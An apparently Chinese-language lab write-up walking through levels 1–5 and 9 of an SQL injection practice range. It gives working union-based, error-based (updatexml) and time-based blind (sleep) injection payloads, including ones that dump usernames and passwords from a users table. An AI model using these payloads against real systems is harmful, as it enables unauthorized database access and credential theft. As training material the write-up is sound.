sql注入靶场1-5,9关

第一关:

1通过id=1'的报错信息判断出,此关是'闭合 的字符型

2通过order by判断出该查询共有 3列

3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列

4接下来就可以构造sql语句去查询数据库信息

查询当前数据库?id=-1' union select 1,database(),3 --+

查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

1通过id=1'的报错信息判断出,此关是数字型

2用order by判断出字段数为3

3用上关的方法判断出回显为2,3

4然后同样的构造sql语句查询数据库信息

第三关

1同样用id=1'的报错信息判断出闭合方式为')

然后其他步骤相同,只有?id=-1')不一样

第四关

1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")

其他步骤一样的判断回显位置,判断列数,查询数据库

第五关

1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,

2同样用order by判断出字段数为3

3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中

查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

第九关

1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。

2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,

3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破

相关推荐
坚定信念,勇往无前2 小时前
mongodb的日志分割
数据库·mongodb
oradh5 小时前
Oracle TX 锁 Mode 4(Share)问题排查总结
数据库·oracle·tx 锁 mode 4·oracle tx 锁
2601_962065256 小时前
[MySQL] SQL优化之性能分析
java·sql·mysql
yi.Ist6 小时前
数据定义语言-DDL操作
数据库·学习·mysql·oracle·大海豚
2601_963282777 小时前
工程项目、政企采购为什么优先选择对讲机批量采购?
数据库
Doraemomo7 小时前
SQLite数据库
数据库·sqlite
云贝教育-郑老师8 小时前
MySQL 的“黑匣子“:Performance Schema 把数据库内部变成一张可查的表
数据库·mysql
这个DBA有点耶10 小时前
同城双活落地的三座山:网络延迟、脑裂预防、反向同步
数据库·架构·dba
青春之我_XP10 小时前
MySQL 常用日期函数 实战指南
数据库·sql·mysql·数据分析·数据库开发·日期函数